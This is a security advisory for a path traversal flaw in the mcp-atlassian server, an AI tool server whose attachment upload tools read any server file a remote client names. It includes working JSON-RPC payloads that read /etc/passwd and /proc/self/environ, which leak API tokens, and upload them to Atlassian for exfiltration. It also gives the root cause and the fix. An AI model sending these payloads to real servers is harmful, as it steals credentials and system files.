high · 7.7Jul 10, 2026

mcp-atlassian: Arbitrary Server-Side File Read via Attachment Upload Path Traversal

Rohit Hatagale
AI Security Researcher, SecureLayer7

The mcp-atlassian server lets any remote MCP client read arbitrary files from the server's filesystem by passing a path like /etc/passwd or /proc/self/environ to the attachment upload tools, which…

Packagemcp-atlassian
Ecosystempip
Affected< 0.22.0
Fixed in0.22.0

The problem

The confluence_upload_attachment and jira_update_issue (via its attachments parameter) tools accept a client-supplied file_path, call os.path.abspath() on it, then pass it directly to open(file_path, 'rb') on the server.

Over a remote HTTP or SSE transport, that path resolves on the server host, not the client. A remote caller can supply any path the server process can read, including /etc/passwd, /proc/self/environ (which leaks JIRA_API_TOKEN and CONFLUENCE_API_TOKEN), or relative traversal strings like ../../../../etc/hostname.

The file bytes are then uploaded to Atlassian as a real attachment, giving the attacker a clean exfiltration channel with no error.

Proof of concept

A working proof-of-concept for this issue in mcp-atlassian, with the exact payload below.

json
# Step 1: read /etc/passwd via Confluence upload sink
{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"confluence_upload_attachment","arguments":{"content_id":"<PAGE_ID>","file_path":"/etc/passwd"}}}

# Step 2: credential disclosure via procfs
{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"confluence_upload_attachment","arguments":{"content_id":"<PAGE_ID>","file_path":"/proc/self/environ"}}}

# Step 3: same primitive via Jira sink
{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"jira_update_issue","arguments":{"issue_key":"<ISSUE_KEY>","fields":"{}","attachments":"/etc/passwd"}}}

# Step 4: relative traversal (no containment)
{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"confluence_upload_attachment","arguments":{"content_id":"<PAGE_ID>","file_path":"../../../../etc/hostname"}}}

The root cause is CWE-22 / CWE-73: os.path.abspath() only normalizes the path, it does not contain it. The normalized path is then handed straight to open(), so any path the server process can read is reachable, including absolute paths and relative traversal sequences.

The fix in 0.22.0 disables the attachment upload tools when the server is running under a remote transport (SSE or streamable-HTTP). Because the tool was designed around stdio semantics where client and server share the same filesystem, there is no safe way to accept a server-side path from a remote caller.

Disabling the tools in that context removes the sink entirely rather than attempting path containment that could be bypassed.

The fix

Upgrade to mcp-atlassian >= 0.22.0. The upload tools (confluence_upload_attachment, confluence_upload_attachments, and the attachments parameter of jira_update_issue) are disabled when the server runs under a remote transport (SSE or streamable-HTTP). No workaround exists for earlier versions other than setting READ_ONLY_MODE=true (which blocks writes but also disables unrelated tools) or running only on stdio transport in a single-user context.

Reported by Francisco Rosales (Manifold Security).

References: [1][2]

Related research